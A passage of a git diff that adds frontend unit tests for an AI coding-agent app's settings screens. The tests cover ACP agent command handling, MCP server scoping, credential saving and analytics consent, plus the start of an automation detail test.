+    await user.click(screen.getByTestId("agent-type-selector"));
+    await user.click(
+      await screen.findByRole("option", { name: "SETTINGS$AGENT_TYPE_ACP" }),
+    );
+
+    const commandInput = (await screen.findByTestId(
+      "agent-command-input",
+    )) as HTMLTextAreaElement;
+    expect(commandInput.value).toBe(CLAUDE_COMMAND.join(" "));
+    expect(screen.getByLabelText("SETTINGS$AGENT_MODEL")).toHaveValue(
+      "Claude Opus (1M)",
+    );
+
+    await user.click(screen.getByTestId("agent-save-button"));
+
+    await waitFor(() => {
+      expect(save).toHaveBeenCalledTimes(1);
+    });
+    const call = save.mock.calls[0]?.[0] as {
+      agent_settings_diff?: Record<string, unknown>;
+    };
+    expect(call.agent_settings_diff).toEqual({
+      agent_kind: "acp",
+      acp_server: "claude-code",
+      // The default-command path stores acp_command: [] and lets the registry
+      // resolve it on the agent-server side. Round-tripping verbatim would
+      // pin a stale command if the registry default changes upstream.
+      acp_command: [],
+      // ``acp_args: []`` is reset on every save so an API-set
+      // ``acp_args`` can't survive and concatenate onto the spawn
+      // command at conversation-create time.
+      acp_args: [],
+      acp_model: "opus[1m]",
+    });
+  });
+
+  it("clears ACP fields when switching back to OpenHands", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          schema_version: 1,
+          agent_kind: "acp",
+          acp_server: "claude-code",
+          acp_command: ["npx", "-y", "@agentclientprotocol/claude-agent-acp"],
+        },
+      }),
+    );
+    const save = vi.spyOn(SettingsService, "saveSettings");
+
+    renderAgentSettingsScreen();
+    await screen.findByTestId("agent-settings-screen");
+
+    await user.click(screen.getByTestId("agent-type-selector"));
+    await user.click(
+      await screen.findByRole("option", {
+        name: "SETTINGS$AGENT_TYPE_OPENHANDS",
+      }),
+    );
+    await user.click(screen.getByTestId("agent-save-button"));
+
+    await waitFor(() => {
+      expect(save).toHaveBeenCalledTimes(1);
+    });
+    const call = save.mock.calls[0]?.[0] as {
+      agent_settings_diff?: Record<string, unknown>;
+    };
+    expect(call.agent_settings_diff).toEqual({
+      agent_kind: "openhands",
+      enable_sub_agents: false,
+      enable_switch_llm_tool: true,
+      tool_concurrency_limit: 1,
+    });
+  });
+
+  it("disables Save when the user has cleared the command on the ACP path", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          schema_version: 1,
+          agent_kind: "acp",
+          acp_server: "claude-code",
+          acp_command: ["npx", "-y", "@agentclientprotocol/claude-agent-acp"],
+        },
+      }),
+    );
+
+    renderAgentSettingsScreen();
+    const cmd = (await screen.findByTestId(
+      "agent-command-input",
+    )) as HTMLTextAreaElement;
+    const save = screen.getByTestId("agent-save-button") as HTMLButtonElement;
+
+    // Clear the field. Save should be disabled (the agent-server would
+    // crash on an empty acp_command and the adapter has no way to
+    // recover — better to block the save than silently submit garbage).
+    await user.clear(cmd);
+    expect(save).toBeDisabled();
+  });
+
+  it("treats whitespace-only as empty and keeps Save disabled", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          schema_version: 1,
+          agent_kind: "acp",
+          acp_server: "claude-code",
+          acp_command: ["npx", "-y", "@agentclientprotocol/claude-agent-acp"],
+        },
+      }),
+    );
+
+    renderAgentSettingsScreen();
+    const cmd = (await screen.findByTestId(
+      "agent-command-input",
+    )) as HTMLTextAreaElement;
+    const save = screen.getByTestId("agent-save-button") as HTMLButtonElement;
+    await user.clear(cmd);
+    await user.type(cmd, "   \t   ");
+    expect(save).toBeDisabled();
+  });
+
+  it("preserves a Custom command with quoted args end-to-end", async () => {
+    // Regression guard for the .split-vs-shell-quote bug: a Custom
+    // command like ``bash -c "echo hi"`` used to get tokenised as
+    // ``["bash","-c","\"echo","hi\""]`` and silently fail at spawn.
+    const user = userEvent.setup();
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          agent_kind: "openhands",
+        },
+      }),
+    );
+    const save = vi.spyOn(SettingsService, "saveSettings");
+
+    renderAgentSettingsScreen();
+    await screen.findByTestId("agent-settings-screen");
+
+    await user.click(screen.getByTestId("agent-type-selector"));
+    await user.click(
+      await screen.findByRole("option", { name: "SETTINGS$AGENT_TYPE_ACP" }),
+    );
+    const cmd = (await screen.findByTestId(
+      "agent-command-input",
+    )) as HTMLTextAreaElement;
+    await user.clear(cmd);
+    await user.type(cmd, 'bash -c "echo hi"');
+    await user.click(screen.getByTestId("agent-save-button"));
+
+    await waitFor(() => {
+      expect(save).toHaveBeenCalledTimes(1);
+    });
+    const call = save.mock.calls[0]?.[0] as {
+      agent_settings_diff?: Record<string, unknown>;
+    };
+    expect(call.agent_settings_diff?.acp_command).toEqual([
+      "bash",
+      "-c",
+      "echo hi",
+    ]);
+    // Anything that diverges from a built-in default-command snaps to
+    // the Custom preset.
+    expect(call.agent_settings_diff?.acp_server).toBe("custom");
+  });
+
+  it("preserves the registry default when acp_command:[] + non-empty acp_args is loaded", async () => {
+    // Regression guard for the data-corruption bug:
+    //
+    //   stored: acp_server: 'claude-code', acp_command: [], acp_args:
+    //           ['--extra-arg']
+    //   actual spawn: ['npx', '-y', '@agentclientprotocol/claude-agent-acp',
+    //                  '--extra-arg']
+    //
+    // The form used to merge acp_command + acp_args literally and would
+    // show only ``--extra-arg`` in the textarea. Saving then sent
+    // ``acp_command: ['--extra-arg']`` and flipped the preset to
+    // ``custom``, silently dropping the registry-default prefix.
+    // The load path must expand the default *before* merging with args.
+    const user = userEvent.setup();
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          schema_version: 1,
+          agent_kind: "acp",
+          acp_server: "claude-code",
+          acp_command: [],
+          acp_args: ["--extra-arg"],
+        },
+      }),
+    );
+    const save = vi.spyOn(SettingsService, "saveSettings");
+
+    renderAgentSettingsScreen();
+    const cmd = (await screen.findByTestId(
+      "agent-command-input",
+    )) as HTMLTextAreaElement;
+    expect(cmd.value).toBe(`${CLAUDE_COMMAND.join(" ")} --extra-arg`);
+
+    // Make a real edit so Save enables, then submit. The payload must
+    // carry the registry-default prefix the user can SEE in the textarea,
+    // not the bare ``--extra-arg`` that was stored.
+    await user.click(cmd);
+    await user.keyboard("{End} --saved");
+
+    await user.click(screen.getByTestId("agent-save-button"));
+    await waitFor(() => {
+      expect(save).toHaveBeenCalledTimes(1);
+    });
+    const call = save.mock.calls[0]?.[0] as {
+      agent_settings_diff?: Record<string, unknown>;
+    };
+    expect(call.agent_settings_diff?.acp_server).toBe("custom");
+    expect(call.agent_settings_diff?.acp_command).toEqual([
+      ...CLAUDE_COMMAND,
+      "--extra-arg",
+      "--saved",
+    ]);
+    // ``acp_args: []`` resets the API-set args so they don't double up
+    // at spawn time.
+    expect(call.agent_settings_diff?.acp_args).toEqual([]);
+  });
+
+  it("disables Save after reverting an agent-type dropdown change", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          agent_kind: "openhands",
+        },
+      }),
+    );
+
+    renderAgentSettingsScreen();
+    await screen.findByTestId("agent-type-selector");
+    const save = screen.getByTestId("agent-save-button") as HTMLButtonElement;
+    expect(save).toBeDisabled();
+
+    await user.click(screen.getByTestId("agent-type-selector"));
+    await user.click(
+      await screen.findByRole("option", { name: "SETTINGS$AGENT_TYPE_ACP" }),
+    );
+    expect(save).not.toBeDisabled();
+
+    await user.click(screen.getByTestId("agent-type-selector"));
+    await user.click(
+      await screen.findByRole("option", {
+        name: "SETTINGS$AGENT_TYPE_OPENHANDS",
+      }),
+    );
+    expect(save).toBeDisabled();
+  });
+
+  it("preserves an unknown loaded acp_server when the user saves without editing", async () => {
+    // Data-corruption regression: a user with an ``acp_server`` value
+    // canvas's registry doesn't know about (e.g. set via the API for a
+    // future provider that hasn't been mirrored into ``ACP_PROVIDERS``
+    // yet) opens Settings → Agent and clicks Save. Without preservation
+    // the save flow demotes ``acp_server: "amp"`` → ``acp_server:
+    // "custom"`` because ``detectPreset`` returns ``custom`` for any
+    // unknown server. The original key name is silently lost.
+    //
+    // The fix is narrow: when the user hasn't touched the command since
+    // load AND the loaded server is non-empty, non-``"custom"``, and
+    // absent from ``ACP_PROVIDERS``, write the loaded key back verbatim
+    // via the ``allowUnknownServer`` pass-through.
+    const user = userEvent.setup();
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          schema_version: 1,
+          agent_kind: "acp",
+          acp_server: "amp",
+          acp_command: ["npx", "-y", "@some-future/amp-acp"],
+          acp_args: [],
+        },
+      }),
+    );
+    const save = vi.spyOn(SettingsService, "saveSettings");
+
+    renderAgentSettingsScreen();
+    const cmd = (await screen.findByTestId(
+      "agent-command-input",
+    )) as HTMLTextAreaElement;
+    expect(cmd.value).toBe("npx -y @some-future/amp-acp");
+
+    // Change only the model so Save enables while the command stays
+    // identical to what was loaded — preserves the unknown acp_server path.
+    const modelInput = await screen.findByTestId("agent-model-input");
+    await user.type(modelInput, "future-model");
+
+    await user.click(screen.getByTestId("agent-save-button"));
+    await waitFor(() => {
+      expect(save).toHaveBeenCalledTimes(1);
+    });
+    const call = save.mock.calls[0]?.[0] as {
+      agent_settings_diff?: Record<string, unknown>;
+    };
+    expect(call.agent_settings_diff?.acp_server).toBe("amp");
+    expect(call.agent_settings_diff?.acp_command).toEqual([
+      "npx",
+      "-y",
+      "@some-future/amp-acp",
+    ]);
+  });
+
+  it("demotes an unknown loaded acp_server to 'custom' when the user edits the command", async () => {
+    // Counterpart to the preserve test: editing the command is a
+    // material change of configuration, so it's correct to drop the
+    // unknown ``amp`` key and fall back to ``"custom"``. The user is
+    // configuring a new command, not preserving the prior one — so
+    // the preset name follows the command.
+    const user = userEvent.setup();
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          schema_version: 1,
+          agent_kind: "acp",
+          acp_server: "amp",
+          acp_command: ["npx", "-y", "@some-future/amp-acp"],
+          acp_args: [],
+        },
+      }),
+    );
+    const save = vi.spyOn(SettingsService, "saveSettings");
+
+    renderAgentSettingsScreen();
+    const cmd = (await screen.findByTestId(
+      "agent-command-input",
+    )) as HTMLTextAreaElement;
+
+    // Actually change the command — append a flag so the textarea
+    // differs from the loaded value.
+    await user.click(cmd);
+    await user.keyboard("{End} --new-flag");
+
+    await user.click(screen.getByTestId("agent-save-button"));
+    await waitFor(() => {
+      expect(save).toHaveBeenCalledTimes(1);
+    });
+    const call = save.mock.calls[0]?.[0] as {
+      agent_settings_diff?: Record<string, unknown>;
+    };
+    expect(call.agent_settings_diff?.acp_server).toBe("custom");
+    expect(call.agent_settings_diff?.acp_command).toEqual([
+      "npx",
+      "-y",
+      "@some-future/amp-acp",
+      "--new-flag",
+    ]);
+  });
+
+  it("a single Save persists ACP credentials together with the agent spec", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          agent_kind: "openhands",
+        },
+      }),
+    );
+    const saveSettings = vi.spyOn(SettingsService, "saveSettings");
+    const createSecret = vi.spyOn(SecretsService, "createSecret");
+
+    renderAgentSettingsScreen();
+    await screen.findByTestId("agent-settings-screen");
+
+    // Switch to ACP (Claude Code prefilled) and paste a credential, then click
+    // the single page-level Save button.
+    await user.click(screen.getByTestId("agent-type-selector"));
+    await user.click(
+      await screen.findByRole("option", { name: "SETTINGS$AGENT_TYPE_ACP" }),
+    );
+    await user.type(
+      await screen.findByTestId("settings-acp-secret-ANTHROPIC_API_KEY"),
+      "sk-ant-xyz",
+    );
+
+    await user.click(screen.getByTestId("agent-save-button"));
+
+    // One click persists both: the credential as a secret AND the agent spec.
+    await waitFor(() => {
+      expect(createSecret).toHaveBeenCalledWith(
+        "ANTHROPIC_API_KEY",
+        "sk-ant-xyz",
+        undefined,
+      );
+      expect(saveSettings).toHaveBeenCalledTimes(1);
+    });
+    const diff = (
+      saveSettings.mock.calls[0]?.[0] as {
+        agent_settings_diff?: Record<string, unknown>;
+      }
+    ).agent_settings_diff;
+    expect(diff?.agent_kind).toBe("acp");
+    expect(diff?.acp_server).toBe("claude-code");
+
+    // One click → one confirmation, even though it persisted both the spec and
+    // the credential (the credential save is silenced so it doesn't double up).
+    expect(toastMocks.success).toHaveBeenCalledTimes(1);
+  });
+
+  it("a credentials-only change saves the secret without re-writing settings", async () => {
+    const user = userEvent.setup();
+    // Already on ACP, so loading introduces no settings change.
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          schema_version: 1,
+          agent_kind: "acp",
+          acp_server: "claude-code",
+          acp_command: [],
+        },
+      }),
+    );
+    const saveSettings = vi.spyOn(SettingsService, "saveSettings");
+    const createSecret = vi.spyOn(SecretsService, "createSecret");
+
+    renderAgentSettingsScreen();
+    await screen.findByTestId("agent-settings-screen");
+
+    await user.type(
+      await screen.findByTestId("settings-acp-secret-ANTHROPIC_API_KEY"),
+      "sk-ant-only",
+    );
+    await user.click(screen.getByTestId("agent-save-button"));
+
+    await waitFor(() => {
+      expect(createSecret).toHaveBeenCalledWith(
+        "ANTHROPIC_API_KEY",
+        "sk-ant-only",
+        undefined,
+      );
+    });
+    // No spec change → no settings write (and no double toast).
+    expect(saveSettings).not.toHaveBeenCalled();
+  });
+
+  it("shows the 'already signed in' banner in the credentials section when authenticated", async () => {
+    acpAuthStatusMock.mockReturnValue({
+      status: "authenticated",
+      isChecking: false,
+      isSupported: true,
+    });
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          schema_version: 1,
+          agent_kind: "acp",
+          acp_server: "claude-code",
+          acp_command: [],
+        },
+      }),
+    );
+
+    renderAgentSettingsScreen();
+    await screen.findByTestId("agent-settings-screen");
+
+    expect(
+      await screen.findByTestId("settings-acp-auth-detected"),
+    ).toBeInTheDocument();
+  });
+});
+
+describe("AgentSettingsScreen — MCP server scope", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true);
+  });
+
+  function seedWithMcp(mcpConfig: Record<string, unknown>) {
+    // `useSettings` prefers `agent_settings.mcp_config` over the top-level
+    // field, so seed it where the hook actually reads.
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          agent_kind: "openhands",
+          mcp_config: mcpConfig,
+        },
+      } as never),
+    );
+  }
+
+  const TWO_SERVERS = {
+    github: { url: "https://mcp.example/github", transport: "shttp" },
+    postgres: { url: "https://mcp.example/pg", transport: "shttp" },
+  };
+
+  it("lists configured servers read-only and persists null by default", async () => {
+    seedWithMcp(TWO_SERVERS);
+    let control: AgentSettingsSaveControl | null = null;
+    renderAgentSettingsScreen({
+      embedded: true,
+      agentSettingsOverride: {
+        agent_kind: "openhands",
+        enable_sub_agents: false,
+        mcp_server_refs: null,
+      },
+      onSaveControlChange: (next) => {
+        control = next;
+      },
+    });
+    await screen.findByTestId("agent-settings-screen");
+
+    const github = screen.getByTestId("agent-settings-mcp-github");
+    expect(github).toBeChecked();
+    expect(github).toBeDisabled();
+    expect(control!.buildAgentProfileFields()).toMatchObject({
+      mcp_server_refs: null,
+    });
+  });
+
+  it("seeds from a stored scope and persists the selection", async () => {
+    seedWithMcp(TWO_SERVERS);
+    let control: AgentSettingsSaveControl | null = null;
+    renderAgentSettingsScreen({
+      embedded: true,
+      agentSettingsOverride: {
+        agent_kind: "openhands",
+        enable_sub_agents: false,
+        mcp_server_refs: ["github"],
+      },
+      onSaveControlChange: (next) => {
+        control = next;
+      },
+    });
+    await screen.findByTestId("agent-settings-screen");
+
+    expect(screen.getByTestId("agent-settings-mcp-github")).toBeChecked();
+    expect(screen.getByTestId("agent-settings-mcp-postgres")).not.toBeChecked();
+    expect(control!.buildAgentProfileFields()).toMatchObject({
+      mcp_server_refs: ["github"],
+    });
+  });
+
+  it("seeds a switch to custom with every configured server", async () => {
+    // Turning the control on should narrow from the default rather than cut
+    // the agent off from every server at once.
+    seedWithMcp(TWO_SERVERS);
+    let control: AgentSettingsSaveControl | null = null;
+    renderAgentSettingsScreen({
+      embedded: true,
+      agentSettingsOverride: {
+        agent_kind: "openhands",
+        enable_sub_agents: false,
+        mcp_server_refs: null,
+      },
+      onSaveControlChange: (next) => {
+        control = next;
+      },
+    });
+    await screen.findByTestId("agent-settings-screen");
+
+    const user = userEvent.setup();
+    const combo = screen.getByTestId("agent-settings-mcp-mode");
+    combo.focus();
+    await user.keyboard("{ArrowDown}");
+    await user.click(
+      await screen.findByRole("option", {
+        name: "SETTINGS$AGENT_PROFILE_MCP_CHOOSE",
+      }),
+    );
+
+    await waitFor(() => {
+      expect(control!.buildAgentProfileFields()).toMatchObject({
+        mcp_server_refs: ["github", "postgres"],
+      });
+    });
+    expect(screen.getByTestId("agent-settings-mcp-github")).toBeChecked();
+    expect(screen.getByTestId("agent-settings-mcp-postgres")).toBeChecked();
+  });
+
+  it("warns about a ref whose server is gone, which would fail the launch", async () => {
+    seedWithMcp(TWO_SERVERS);
+    renderAgentSettingsScreen({
+      embedded: true,
+      agentSettingsOverride: {
+        agent_kind: "openhands",
+        enable_sub_agents: false,
+        mcp_server_refs: ["github", "deleted-server"],
+      },
+    });
+    await screen.findByTestId("agent-settings-screen");
+
+    expect(
+      screen.getByTestId("agent-settings-mcp-deleted-server"),
+    ).toBeChecked();
+    expect(
+      screen.getByTestId("agent-settings-mcp-dangling"),
+    ).toBeInTheDocument();
+  });
+
+  it("scopes an ACP profile too, since the field lives on the profile base", async () => {
+    seedWithMcp(TWO_SERVERS);
+    let control: AgentSettingsSaveControl | null = null;
+    renderAgentSettingsScreen({
+      embedded: true,
+      agentSettingsOverride: {
+        agent_kind: "acp",
+        acp_server: "claude-code",
+        mcp_server_refs: ["github"],
+      },
+      onSaveControlChange: (next) => {
+        control = next;
+      },
+    });
+    await screen.findByTestId("agent-settings-screen");
+
+    expect(screen.getByTestId("agent-settings-mcp-github")).toBeChecked();
+    expect(control!.buildAgentProfileFields()).toMatchObject({
+      agent_kind: "acp",
+      mcp_server_refs: ["github"],
+    });
+  });
+
+  it("explains the empty state when no server is configured", async () => {
+    seedWithMcp({});
+    renderAgentSettingsScreen({
+      embedded: true,
+      agentSettingsOverride: {
+        agent_kind: "openhands",
+        enable_sub_agents: false,
+      },
+    });
+    await screen.findByTestId("agent-settings-screen");
+    expect(
+      screen.queryByTestId("agent-settings-mcp-list"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.getByText("SETTINGS$AGENT_PROFILE_MCP_NONE"),
+    ).toBeInTheDocument();
+  });
+
+  it("is hidden outside the profile editor", async () => {
+    // The global page saves `agent_settings`, which carries the resolved
+    // `mcp_config`, not refs.
+    seedWithMcp(TWO_SERVERS);
+    renderAgentSettingsScreen({});
+    await screen.findByTestId("agent-settings-screen");
+    expect(
+      screen.queryByTestId("agent-settings-mcp-mode"),
+    ).not.toBeInTheDocument();
+  });
+});
+
+describe("AgentSettingsScreen — MCP scope dirty tracking", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true);
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          agent_kind: "openhands",
+          mcp_config: {
+            github: { url: "https://mcp.example/github", transport: "shttp" },
+            postgres: { url: "https://mcp.example/pg", transport: "shttp" },
+          },
+        },
+      } as never),
+    );
+  });
+
+  async function dirtyForStoredRefs(refs: string[]) {
+    let control: AgentSettingsSaveControl | null = null;
+    renderAgentSettingsScreen({
+      embedded: true,
+      agentSettingsOverride: {
+        agent_kind: "openhands",
+        enable_sub_agents: false,
+        mcp_server_refs: refs,
+      },
+      onSaveControlChange: (next) => {
+        control = next;
+      },
+    });
+    await screen.findByTestId("agent-settings-screen");
+    await screen.findByTestId("agent-settings-mcp-list");
+    return () => control!.isDirty;
+  }
+
+  it("is clean on load when the stored order matches the config order", async () => {
+    const isDirty = await dirtyForStoredRefs(["github", "postgres"]);
+    await waitFor(() => expect(isDirty()).toBe(false));
+  });
+
+  it("is clean on load when the stored order differs from the config order", async () => {
+    const isDirty = await dirtyForStoredRefs(["postgres", "github"]);
+    await waitFor(() => expect(isDirty()).toBe(false));
+  });
+});
diff --git a/__tests__/routes/app-settings.test.tsx b/__tests__/routes/app-settings.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..dda0d14f9a602787d580e151231d653458d4ede4
--- /dev/null
+++ b/__tests__/routes/app-settings.test.tsx
@@ -0,0 +1,202 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import AppSettingsScreen from "#/routes/app-settings";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers";
+import { Settings } from "#/types/settings";
+import ProfilesService from "#/api/profiles-service/profiles-service.api";
+
+const activeBackendState = vi.hoisted(() => ({
+  kind: "local" as "local" | "cloud",
+}));
+
+vi.mock("#/contexts/active-backend-context", () => ({
+  useActiveBackend: () => ({
+    backend: { kind: activeBackendState.kind },
+    orgId: null,
+  }),
+}));
+
+function buildSettings(overrides: Partial<Settings> = {}): Settings {
+  return {
+    ...MOCK_DEFAULT_USER_SETTINGS,
+    ...overrides,
+    agent_settings: {
+      ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+      ...overrides.agent_settings,
+    },
+    conversation_settings: {
+      ...MOCK_DEFAULT_USER_SETTINGS.conversation_settings,
+      ...overrides.conversation_settings,
+    },
+  };
+}
+
+function renderAppSettingsScreen() {
+  return render(<AppSettingsScreen />, {
+    wrapper: ({ children }) => (
+      <QueryClientProvider
+        client={
+          new QueryClient({
+            defaultOptions: { queries: { retry: false } },
+          })
+        }
+      >
+        {children}
+      </QueryClientProvider>
+    ),
+  });
+}
+
+describe("AppSettingsScreen", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    activeBackendState.kind = "local";
+  });
+
+  it("renders the OSS application settings form", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        git_user_name: "octocat",
+        git_user_email: "octocat@example.com",
+      }),
+    );
+
+    renderAppSettingsScreen();
+
+    const analyticsSwitch = await screen.findByTestId(
+      "enable-analytics-switch",
+    );
+
+    expect(analyticsSwitch).toBeInTheDocument();
+    expect(screen.getByTestId("git-user-name-input")).toHaveValue("octocat");
+    expect(screen.getByTestId("git-user-email-input")).toHaveValue(
+      "octocat@example.com",
+    );
+    expect(
+      screen.getByText("SETTINGS$CONVERSATION_TITLES"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByRole("combobox", {
+        name: "SETTINGS$TITLE_GENERATION_MODEL",
+      }),
+    ).toHaveValue("SETTINGS$TITLE_GENERATION_AUTOMATIC");
+  });
+
+  it("renders the analytics toggle as checked and disabled for cloud backends", async () => {
+    activeBackendState.kind = "cloud";
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({ user_consents_to_analytics: false }),
+    );
+
+    renderAppSettingsScreen();
+
+    const analyticsSwitch = await screen.findByTestId(
+      "enable-analytics-switch",
+    );
+    const submitButton = screen.getByTestId("submit-button");
+
+    expect(analyticsSwitch).toBeChecked();
+    expect(analyticsSwitch).toBeDisabled();
+
+    await userEvent.click(analyticsSwitch);
+    expect(submitButton).toBeDisabled();
+  });
+
+  it("does not submit analytics consent for cloud backends", async () => {
+    activeBackendState.kind = "cloud";
+    const saveSettingsSpy = vi
+      .spyOn(SettingsService, "saveSettings")
+      .mockResolvedValue(true);
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({ user_consents_to_analytics: false }),
+    );
+
+    renderAppSettingsScreen();
+
+    const user = userEvent.setup();
+    await user.click(
+      await screen.findByTestId("enable-sound-notifications-switch"),
+    );
+    await user.click(screen.getByTestId("submit-button"));
+
+    await waitFor(() => {
+      expect(saveSettingsSpy).toHaveBeenCalledWith(
+        expect.not.objectContaining({
+          user_consents_to_analytics: expect.anything(),
+        }),
+      );
+    });
+  });
+
+  it("saves updated git author details in OSS mode", async () => {
+    const saveSettingsSpy = vi
+      .spyOn(SettingsService, "saveSettings")
+      .mockResolvedValue(true);
+
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        git_user_name: "octocat",
+        git_user_email: "octocat@example.com",
+      }),
+    );
+
+    renderAppSettingsScreen();
+
+    const user = userEvent.setup();
+    const nameInput = await screen.findByTestId("git-user-name-input");
+
+    await user.clear(nameInput);
+    await user.type(nameInput, "monalisa");
+    await user.click(screen.getByTestId("submit-button"));
+
+    await waitFor(() => {
+      expect(saveSettingsSpy).toHaveBeenCalledWith(
+        expect.objectContaining({
+          git_user_name: "monalisa",
+          git_user_email: "octocat@example.com",
+        }),
+      );
+    });
+  });
+
+  it("saves a dedicated title generation profile", async () => {
+    vi.spyOn(ProfilesService, "listProfiles").mockResolvedValue({
+      profiles: [
+        {
+          name: "Titles",
+          model: "anthropic/claude-haiku-3-5",
+          base_url: null,
+          api_key_set: true,
+        },
+      ],
+      active_profile: null,
+    });
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(buildSettings());
+    const saveSettingsSpy = vi
+      .spyOn(SettingsService, "saveSettings")
+      .mockResolvedValue(true);
+
+    renderAppSettingsScreen();
+
+    const user = userEvent.setup();
+    const input = await screen.findByRole("combobox", {
+      name: "SETTINGS$TITLE_GENERATION_MODEL",
+    });
+    await user.click(input);
+    await user.click(
+      await screen.findByText("SETTINGS$TITLE_GENERATION_PROFILE_OPTION"),
+    );
+    await user.click(screen.getByTestId("submit-button"));
+
+    await waitFor(() => {
+      expect(saveSettingsSpy).toHaveBeenCalledWith(
+        expect.objectContaining({
+          title_llm_profile: "Titles",
+        }),
+      );
+    });
+  });
+});
diff --git a/__tests__/routes/automation-detail.test.tsx b/__tests__/routes/automation-detail.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..53ace9b6102852634070d9e31f9ad12743c0f596
--- /dev/null
+++ b/__tests__/routes/automation-detail.test.tsx
@@ -0,0 +1,393 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import React from "react";
+import { fireEvent, render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { MemoryRouter, Route, Routes } from "react-router";
+import { HttpError } from "@openhands/typescript-client";
+
+import { I18nKey } from "#/i18n/declaration";
+
+import AutomationService from "#/api/automation-service/automation-service.api";
+import { getCloudOrganizationMember } from "#/api/cloud/organization-service.api";
+import ProfilesService from "#/api/profiles-service/profiles-service.api";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import AutomationDetail from "#/routes/automation-detail";
+import type { Backend } from "#/api/backend-registry/types";
+import { AutomationRunStatus } from "#/types/automation";
+import type { Automation, AutomationRunsResponse } from "#/types/automation";
+
+vi.mock("#/api/automation-service/automation-service.api", () => ({
+  default: {
+    getAutomation: vi.fn(),
+    getAutomationRuns: vi.fn(),
+    toggleAutomation: vi.fn(),
+    deleteAutomation: vi.fn(),
+    dispatchAutomation: vi.fn(),
+    checkHealth: vi.fn(),
+  },
+}));
+
+vi.mock("#/api/profiles-service/profiles-service.api", () => ({
+  default: {
+    listProfiles: vi.fn(),
+  },
+}));
+
+// Mock permission hooks so cloud-backend tests don't need a real /me endpoint.
+vi.mock("#/hooks/use-automation-permissions", () => ({
+  useAutomationPermissions: () => ({
+    canView: true,
+    canManage: true,
+    isLoading: false,
+  }),
+  useIsAutomationOwner: () => true,
+}));
+
+// Mock only the member lookup the "Automation Runs As" field depends on; the
+// rest of the cloud organization service keeps its real implementation.
+vi.mock("#/api/cloud/organization-service.api", async (importOriginal) => ({
+  ...(await importOriginal<
+    typeof import("#/api/cloud/organization-service.api")
+  >()),
+  getCloudOrganizationMember: vi.fn(),
+}));
+
+const localBackend: Backend = {
+  id: "local-1",
+  name: "Local 1",
+  host: "http://localhost:8000",
+  apiKey: "session-key",
+  kind: "local",
+};
+
+const cloudBackend: Backend = {
+  id: "cloud-1",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-key",
+  kind: "cloud",
+};
+
+const automation: Automation = {
+  id: "auto-1",
+  name: "Test Automation",
+  prompt: "p",
+  trigger: { type: "schedule", schedule_human: "Daily" },
+  enabled: true,
+  repository: "acme/repo",
+  model: "daily-profile",
+  created_at: "2026-01-01T00:00:00Z",
+  updated_at: "2026-01-01T00:00:00Z",
+};
+
+const emptyRuns: AutomationRunsResponse = { runs: [], total: 0 };
+
+function renderDetail() {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return render(
+    <QueryClientProvider client={queryClient}>
+      <ActiveBackendProvider>
+        <MemoryRouter initialEntries={["/automations/auto-1"]}>
+          <Routes>
+            <Route
